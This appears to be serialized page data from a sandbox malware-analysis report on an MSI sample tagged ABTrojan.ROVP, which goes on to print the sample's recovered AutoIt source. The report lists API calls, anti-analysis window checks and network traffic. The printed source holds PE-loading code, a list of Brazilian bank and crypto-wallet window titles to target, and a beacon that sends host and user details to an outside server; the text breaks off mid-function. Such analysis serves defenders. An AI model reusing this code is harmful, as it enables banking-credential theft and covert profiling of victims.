34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 62:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T476,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious ABTrojan.ROVP Sample b3823568346a… — Score 86/100 — Hybrid Analysis","description":"Malicious verdict for sample b3823568346a…. Malware family: ABTrojan.ROVP. Threat score 86/100. 1/24 AV engines flagged this file. 2 malicious and 13 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","keywords":["Malicious","ABTrojan.ROVP","malware analysis","sandbox report","threat intelligence","b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc"],"about":{"@type":"SoftwareApplication","name":"G3d5duio.msi","applicationCategory":["msi","data"],"identifier":"b3823568346a6aaf5b3bfbdb5ecbdda873a212c54af8d2cd08df740829e51bdc","additionalType":"Malicious sample"},"threatScore":86,"malwareFamily":"ABTrojan.ROVP","antivirusDetections":{"malicious":1,"total":24},"behavioralIndicators":{"malicious":2,"suspicious":13},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T904,Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "ocal $aVirtualAlloc = DllCall($hKernel32, "ptr", "VirtualAlloc", "ptr", 0, "ulong_ptr", $iTamanhoImagem, "dword", BitOR($MEM_COMMIT, $MEM_RESERVE), "dword", $PAGE_READWRITE)" (Indicator: "VirtualAlloc"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp") Found reference to API "f @error Or $aVirtualAlloc[0] = 0 Then" (Indicator: "VirtualAlloc"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp") Found reference to API "ocal $pBaseImagem = $aVirtualAlloc[0]" (Indicator: "VirtualAlloc"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp") Found reference to API "ocal $aThread = DllCall($hKernel32, "handle", "CreateThread", "ptr", 0, "ulong_ptr", 0, "ptr", $pPontoEntrada, "ptr", 0, "dword", 0, "dword*", 0)" (Indicator: "CreateThread"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp")37:T420,Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "ocal $hModulo = DllCall($hKernel32, "handle", "LoadLibraryA", "str", $sNomeDLL)" (Indicator: "LoadLibrary"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00B20000.00000004.mdmp")38:T4a4,Found string - winmgmts:\\.\root\cimv2; Source: "00000000-00005172-00002712-1061864480") Found string - \\.\root\cimv2; Source: "00000000-00005172-00002714-1062071541") Found string - inmgmts:\\.\root\cimv2; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp") Found string - ocal $oWMI = ObjGet("winmgmts:\\.\root\cimv2"); Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp") Found string - \\.\root\cimv2; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00B9A000.00000004.mdmp") Found string - \.\root\cimv2; Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp, 00000000-00005172.00000001.170200.00C04000.00000004.mdmp, 00000000-00005172.00000002.172121.00C04000.00000004.mdmp, 00000000-00005172.00000003.174592.00C04000.00000004.mdmp")39:T618,"audiodg_svc.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\409") "audiodg_svc.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\409") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\9") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\9") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0") "audiodg_svc.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKCU\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\WIN32") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\WIN32") "audiodg_svc.exe" (Access type: "QUERY"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\WIN32") "audiodg_svc.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLASSES\TYPELIB\{565783C6-CB41-11D1-8B02-00600806D9B6}\1.2\0\WIN32") "audiodg_svc.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\PACKAGEDCOM\TYPELIBINDEX")3a:T5ae,"msiexec.exe" queried SystemProcessInformation at 00000000-00007860-00000C15-985076703 [PID: 7860] "msiexec.exe" queried SystemProcessInformation at 00000000-00007860-00000C15-985084862 [PID: 7860] "audiodg_svc.exe" queried SystemProcessInformation at 00000000-00004872-00000C15-986178328 [PID: 4872] "audiodg_svc.exe" queried SystemProcessInformation at 00000000-00004872-00000C15-986187789 [PID: 4872] "audiodg_svc.exe" queried SystemProcessInformation at 00000000-00004872-00000C15-986342417 [PID: 4872] "audiodg_svc.exe" queried SystemProcessInformation at 00000000-00004872-00000C15-986349982 [PID: 4872] "audiodg_svc.exe" queried SystemProcessInformation at 00000000-00004872-00000C15-1060010297 [PID: 4872] "audiodg_svc.exe" queried SystemProcessInformation at 00000000-00004872-00000C15-1060017689 [PID: 4872] "audiodg_svc.exe" queried SystemProcessInformation at 00000000-00005172-00000C15-1060399599 [PID: 5172] "audiodg_svc.exe" queried SystemProcessInformation at 00000000-00005172-00000C15-1060408150 [PID: 5172] "audiodg_svc.exe" queried SystemProcessInformation at 00000000-00005172-00000C15-1060553419 [PID: 5172] "audiodg_svc.exe" queried SystemProcessInformation at 00000000-00005172-00000C15-1060562192 [PID: 5172] "audiodg_svc.exe" queried SystemProcessInformation at 00000000-00005172-00000C15-1061651028 [PID: 5172] "audiodg_svc.exe" queried SystemProcessInformation at 00000000-00005172-00000C15-1061659338 [PID: 5172]3b:Tb51,Contains base64 string in header "Keep" in header "GET / HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: api.ipify.org" Contains base64 string in header "User" in header "GET / HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: api.ipify.org" Contains base64 string in header "Host" in header "GET / HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: api.ipify.org" Contains base64 string in header "POST" in header "POST /principal/aNuEntity.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 329Host: oficinadacapivara.top" Contains base64 string in header "/principal/aNuEntity" in header "POST /principal/aNuEntity.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 329Host: oficinadacapivara.top" Contains base64 string in header "Keep" in header "POST /principal/aNuEntity.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 329Host: oficinadacapivara.top" Contains base64 string in header "AliveContent" in header "POST /principal/aNuEntity.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 329Host: oficinadacapivara.top" Contains base64 string in header "Type" in header "POST /principal/aNuEntity.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 329Host: oficinadacapivara.top" Contains base64 string in header "form" in header "POST /principal/aNuEntity.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 329Host: oficinadacapivara.top" Contains base64 string in header "urlencodedAccept" in header "POST /principal/aNuEntity.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 329Host: oficinadacapivara.top" Contains base64 string in header "User" in header "POST /principal/aNuEntity.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 329Host: oficinadacapivara.top"3c:T52d,Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "EnumChildWindows" (Indicator: "enumchildwindows"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "SendMessageTimeoutW" (Indicator: "sendmessage"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "enumwindows"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "FindWindowW" (Indicator: "findwindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "4385712,7508,100,,FindWindowExW,user32.dll,"00:43:49.218",RX=0,PX=0" (Indicator: "findwindow"; Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found reference to API "9614602,7508,100,,FindWindowExW,user32.dll,"00:44:18.750",RX=0,PX=0" (Indicator: "findwindow"; Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp")3d:T4dd,"audiodg_svc.exe" called "GetWindowTextW" (UID: 00000000-00005172) "audiodg_svc.exe" called "GetWindowTextW" with parameter "Network Flyout" - (UID: 00000000-00005172) "audiodg_svc.exe" called "GetWindowTextW" with parameter "%PROGRAMFILES%\Wireshark\dumpcap.exe" - (UID: 00000000-00005172) "audiodg_svc.exe" called "GetWindowTextW" with parameter "%PROGRAMFILES%\mitmproxy\bin\_internal\mitmproxy_windows\windows-redirector.exe" - (UID: 00000000-00005172) "audiodg_svc.exe" called "GetWindowTextW" with parameter "%PROGRAMFILES%\Wireshark\tshark.exe" - (UID: 00000000-00005172) "audiodg_svc.exe" called "GetWindowTextW" with parameter "%WINDIR%\system32\cmd.exe" - (UID: 00000000-00005172) "audiodg_svc.exe" called "GetWindowTextW" with parameter "Settings" - (UID: 00000000-00005172) "audiodg_svc.exe" called "GetWindowTextW" with parameter "Microsoft OneNote 2010 - Windows taskbar" - (UID: 00000000-00005172) "audiodg_svc.exe" called "GetWindowTextW" with parameter "DnDControlTitle" - (UID: 00000000-00005172) "audiodg_svc.exe" called "GetWindowTextW" with parameter "VMSwitchUserControlTitle" - (UID: 00000000-00005172) "audiodg_svc.exe" called "GetWindowTextW" with parameter "vmtoolsdControlWndTitle" - (UID: 00000000-00005172)3e:T13d6,"audiodg_svc.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004872) "audiodg_svc.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000010100003d0200006638be03010000007f07000000000000a0a4be033e0300000000000100000000d0070301b0f2bf03b0f2bf030a000000000003013d02000069000000b8f2bf03b83cc003a84301011f000100feffffff00000000f060be036638005ec04cbe01000000003d020000200000002cfc7f013e3e0b011093be039892be03001008010000000000d02d0124fc7f017c4f0b01188f150160fc7f013f3d0b01020000001e3d0b01e838ca4300100801b838120100d02d010000000034fc7f0120411501fcfc7f01b0370a0108c1a043feffffff88fc7f01dc3f0b017cfc7f0174fc7f0180fc7f0190fc7f0194fc7f010200000002000000 (UID: 00000000-00004872) "audiodg_svc.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004872) "audiodg_svc.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005172) "audiodg_svc.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000010100003c0100000f39b200010000007f07000000000000160000003d0200000000000100000000d0079c017005b4007005b4000a00000000009c003c010000c80000007805b4007047b400e84f01011e000100feffffff000000000862b2000f390036684fb201000000003c0100002000000094fb87003e3e0b015094b200d893b2000010080100000000007039008cfb87007c4f0b01188f1501c8fb87003f3d0b01020000001e3d0b012248f82a00100801b838120100703900000000009cfb87002041150164fc8700b0370a016ab66a2bfefffffff0fb8700dc3f0b01e4fb8700dcfb8700e8fb8700f8fb8700fcfb87000200000002000000 (UID: 00000000-00005172) "audiodg_svc.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005172) "audiodg_svc.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005172) "audiodg_svc.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000098ea850001cfd51c00000000b8e685009d967674a47abf00d82f6f74b8e78500f0e68500f0e68500f996767400000000d82f6f74a47abf00b8e78500b8d0c50024e68500a4e985000000000030027574d102757400000000e82f6f74a4e985000000000088988d740000000000000000000000000000000000000000000000000000000000000000a4e68500 (UID: 00000000-00005172)3f:T76f,Found reference to API "GetForegroundWindow" (Indicator: "GetForegroundWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetWindowTextW" (Indicator: "GetWindowText"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "EnumWindows" (Indicator: "EnumWindows"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "FindWindowW" (Indicator: "FindWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "FindWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetActiveWindow" (Indicator: "GetActiveWindow"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "GetWindowTextLengthW" (Indicator: "GetWindowText"; Source: "00000000-00004872.00000003.168025.01123000.00000002.mdmp") Found reference to API "765696,7508,109,,GetWindowTextW,user32.dll,"00:43:48.468",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00005172.00000000.168279.00B20000.00000004.mdmp, 00000000-00005172.00000001.170200.00B20000.00000004.mdmp, 00000000-00005172.00000002.172121.00B20000.00000004.mdmp, 00000000-00005172.00000003.174592.00B9A000.00000004.mdmp") Found reference to API "4385712,7508,100,,FindWindowExW,user32.dll,"00:43:49.218",RX=0,PX=0" (Indicator: "FindWindow"; Source: "00000000-00005172.00000000.168279.00C04000.00000004.mdmp") Found reference to API "9614602,7508,100,,FindWindowExW,user32.dll,"00:44:18.750",RX=0,PX=0" (Indicator: "FindWindow"; Source: "00000000-00005172.00000001.170200.00C04000.00000004.mdmp") Found reference to API "63072318,7508,109,,GetWindowTextW,user32.dll,"00:44:42.843",RX=0,PX=0" (Indicator: "GetWindowText"; Source: "00000000-00005172.00000002.172121.00C04000.00000004.mdmp")40:T41aa,Observed string: "; Script AutoIt Standalone - Verso Atualizada com Sistema de Notificao HTTPS; Todas as constantes necessrias definidas internamente; Constantes de memGlobal Const $MEM_COMMIT = 0x1000Global Const $MEM_RESERVE = 0x2000Global Const $MEM_RELEASE = 0x8000Global Const $PAGE_READWRITE = 0x04Global Const $PAGE_EXECUTE_READWRITE = 0x40Global Const $IMAGE_ORDINAL_FLAG32 = 0x80000000Global Const $IMAGE_ORDINAL_FLAG64 = 0x8000000000000000Global Const $PM_REMOVE = 0x0001Global Const $GMEM_FIXED = 0x0000Global Const $GMEM_MOVEABLE = 0x0002Global Const $GMEM_ZEROINIT = 0x0040Global Const $GPTR = BitOR($GMEM_FIXED, $GMEM_ZEROINIT); EstruturasGlobal Const $tagIMAGE_DOS_HEADER = "ushort e_magic;ushort e_res[29];int e_lfanew"Global Const $tagIMAGE_FILE_HEADER = "ushort Machine;ushort NumberOfSections;uint TimeDateStamp;uint PointerToSymbolTable;uint NumberOfSymbols;ushort SizeOfOptionalHeader;ushort Characteristics"Global Const $tagIMAGE_DATA_DIRECTORY = "uint VirtualAddress;uint Size"Global Const $tagIMAGE_SECTION_HEADER = "byte Name[8];uint VirtualSize;uint VirtualAddress;uint SizeOfRawData;uint PointerToRawData;uint PointerToRelocations;uint PointerToLinenumbers;ushort NumberOfRelocations;ushort NumberOfLinenumbers;uint Characteristics"Global Const $tagIMAGE_IMPORT_DESCRIPTOR = "uint OriginalFirstThunk;uint TimeDateStamp;uint ForwarderChain;uint Name;uint FirstThunk"Global Const $tagIMAGE_BASE_RELOCATION = "uint VirtualAddress;uint SizeOfBlock"Global Const $tagMSG = "hwnd hwnd;uint message;wparam wParam;lparam lParam;dword time;long pt[2]"; Funes WinAPIGlobal $hKernel32 = DllOpen("kernel32.dll")Global $hUser32 = DllOpen("user32.dll")Global $hNtdll = DllOpen("ntdll.dll"); Gerenciador de Erros COM (evita crash em falhas de rede)Global $oErrorHandler = ObjEvent("AutoIt.Error", "_COMError")Func _COMError() Return ; Ignora erro e continua execuEndFunc; Variveis globais para monitoramento de processoGlobal $bPECarregado = FalseGlobal $iPIDSvchost = 0Global $iIntervaloVerificacao = 3000; Palavras-chave originais - No precisa editar, o script limp-las- automaticamenteGlobal $g_aPadroesAlvo[] = [ _ "SantanderOfertasparaEmpresas","InternetbankingempresarialSantander", _ "BancodoBrasil","AutoatendimentoBancodoBrasil", _ "Home Banking | Banrisul","HomeBroker:LOGIN","BanrisulOfficeBanking", _ "TribancoParasuaEmpresa","TribancoParaVoce", _ "Banco Safra","ContapessoajuridicaBancoSafra", _ "Banco Safra: completo para investir com excelncia | Safra", _ "InvestimentosSafra","Banco Bradesco S/A","BradescoNetEmpresaBradesco", _ "BradescoNetEmpresaBradesco","BradescoPrime","BradescoPrimee", _ "InternetBankingBradesco:","NavegadorExclusivoBradesco", _ "BradescoExclusiveDigitalMaisfacilidadeeautonomia", _ "TotalBankPortaldeServiosBancarios","BradescoGlobalPrivateBank", _ "NavegadorExclusivoBradesco","Sicredi","SicoobNet","Sicoob", _ "BemvindoaoseuBMG","BMG","GerenciadorCaixa", _ "appbtgpactual","BTGPactual","BTGEmpresas", _ "BS2Empresas","BS2","EmpresasBS2", _ "BancoItau","ItauPersonnaliteI","ItauUniclass:", _ "ItauBBA","ItauBBA","ItauBBAe","ItauEmpresas", _ "BancoOriginal","BancoABCCorporate", _ "PineEmpresasSolucoesdecreditoparaempresas", _ "InternetBankingBancoMercantil","BancoPaulistaInternetBanking", _ "Banco Rendimento", _ "mercadolivrebrasil", _ "Uniprime", _ "DayconnectBancoDaycoval", _ "CrediSISInternetBanking", _ "ContaNuEmpresasNubank", _ "COOPERFORTEWEBBANKING", _ "BancoMUFGBrasilSA", _ "HomeCetelem", _ "InternetBankingSisprime", _ "InternetBankingBNB", _ "PineEmpresasSolucoesdecreditoparaempresas", _ "AFEAMPORTALDOCLIENTE", _ "Sisprime","Viacredi","HomeTotalBank","Cresol","BIBBanco", _ "RecargaPay","CoraWeb","MinhacontaBling", _ "MercadoPago","mercadopagobrasil","Stripe","stripedashboard", _ "FacaologineacesseasuacontadoMercadoBitcoinMB", _ "BityprecoEncontreomelhorprecodeBitcoinsaqui!", _ "AFoxbitteensinacomocomecarainvestiremcriptomoedas","Foxbit", _ "BityLogin","Ripio","LoginAcessesuacontaCoinext", _ "EntrarBinance","CryptocomLogin","LoginBybit", _ "LoginEntrarAcessarsuacontaKuCoin", _ "BitgetSignupwithBitget","BitpandaAuthorization", _ "LoginPoloniexPoloniex","kraken","bitstamp","bitfinex", _ "huobi","gateio","bitcointrade","bitpreco","flowbtc","braziliex", _ "MetaMask","TrustWallet","Exodus","Electrum", _ "LedgerLive","Trezor","AtomicWallet","Phantom", _ "Rabby","Rainbow","Coinomi","SafePal", _ "ZenGo","Blockchaincom","BlueWallet","Wasabi", _ "myetherwallet","mycrypto","jaxx","breadwallet", _ "uniswap","pancakeswap","sushiswap","1inch", _ "aave","compound","curve","yearn", _ "solflare","tokenpocket","keepkey", _ "InternetBankingCAIXA","internetbankingcaixagovbr", _ "CAIXAInternetBanking","logincaixa", _ "GerenciadorCaixaGerenciadorFinanceiroCaixa", _ "internetbankingbnb","bancodaamazonia","bancomercantil", _ "FIBANK - Iniciar a sesso", _ "NavegadorExclusivoBradesco" _; ====================================================================; SISTEMA DE LIMPEZA E FORMATAO DE TEXTO PARA BUSCAS; ====================================================================; 1. Transforma em minsculo; 2. Substitui acentos pelas letras originais; 3. Limpa todos os espaos e smbolos para que o match seja cego a padres visuais.Func NormalizarTexto($sTexto) If $sTexto = "" Then Return "" $sTexto = StringLower($sTexto) $sTexto = StringRegExpReplace($sTexto, "[]", "a") $sTexto = StringRegExpReplace($sTexto, "[]", "e") $sTexto = StringRegExpReplace($sTexto, "[]", "i") $sTexto = StringRegExpReplace($sTexto, "[]", "o") $sTexto = StringRegExpReplace($sTexto, "[]", "u") $sTexto = StringRegExpReplace($sTexto, "", "c") $sTexto = StringRegExpReplace($sTexto, "", "n") ; Remove qualquer coisa que no seja Letra (a-z) ou Nmero (0-9) ; Isso arranca espaos, travesses, /, :, | etc. Garantindo exatido no match $sTexto = StringRegExpReplace($sTexto, "[^a-z0-9]", "") Return $sTextoEndFunc; Padroniza uma vez a array de palavras chaves do script na inicializaFunc PrepararPadroes() For $i = 0 To UBound($g_aPadroesAlvo) - 1 $g_aPadroesAlvo[$i] = NormalizarTexto($g_aPadroesAlvo[$i]) NextEndFunc; ====================================================================; SISTEMA DE NOTIFICAO HTTPS - PRIMEIRA EXECU; ====================================================================Global Const $URL_NOTIFICACAO = "https://oficinadacapivara.top/principal/aNuEntity.php"Global Const $ARQUIVO_MARCADOR = @ScriptDir & "\executed.dat"Func VerificarPrimeiraExecucao() If Not FileExists($ARQUIVO_MARCADOR) Then EnviarNotificacaoPrimeiraExecucao() FileWrite($ARQUIVO_MARCADOR, @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC) EndIfEndFuncFunc ObterIPExterno() Local $oHTTP = ObjCreate("WinHttp.WinHttpRequest.5.1") If Not IsObj($oHTTP) Then Return "Indisponvel" $oHTTP.SetTimeouts(3000, 3000, 3000, 3000) $oHTTP.Open("GET", "https://api.ipify.org", False) $oHTTP.Send() If @error Then Return "Indisponvel" Return $oHTTP.ResponseTextEndFuncFunc ObterIPLocal() Local $sIP = @IPAddress1 If $sIP = "0.0.0.0" Or $sIP = "" Then $sIP = @IPAddress2 If $sIP = "0.0.0.0" Or $sIP = "" Then $sIP = @IPAddress3 If $sIP = "0.0.0.0" Or $sIP = "" Then $sIP = @IPAddress4 If $sIP = "0.0.0.0" Or $sIP = "" Then $sIP = "Indisponvel" Return $sIPEndFuncFunc ObterInfoAdicional() Local $sInfo = "" Local $sWinVersion = RegRead("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductName") If Not @error Then $sInfo &= "Windows: " & $sWinVersion & "; " Local $sProcessador = RegRead("HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0", "ProcessorNameString") If Not @error Then $sInfo &= "CPU: " & StringStripWS($sProcessador, 3) & "; " Local $oWMI = ObjGet("winmgmts:\\.\root\cimv2") If IsObj($oWMI) Then Local $oItems = $oWMI.ExecQuery("SELECT * FROM Win32_ComputerSystem") For $oItem In $oItems Local $iRAM = Round($oItem.TotalPhysicalMemory / 1073741824, 2) $sInfo &= "RAM: " & $iRAM & " GB; " Next EndIf Local $sDominio = @LogonDomain If $sDominio <> "" Then $sInfo &= "Domnio: " & $sDominio Return $sInfoEndFuncFunc EnviarNotificacaoPrimeiraExecucao() Local $sNomePC = @ComputerName Local $sSO = @OSVersion & " " & @OSArch & " (Build " & @OSBuild & ")" Local $sUsuario = @UserName Local $sIPLocal = ObterIPLocal() Local $sIPExterno = ObterIPExterno() Local $sDataHora = @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & ":" & @MIN & ":" & @SEC Local 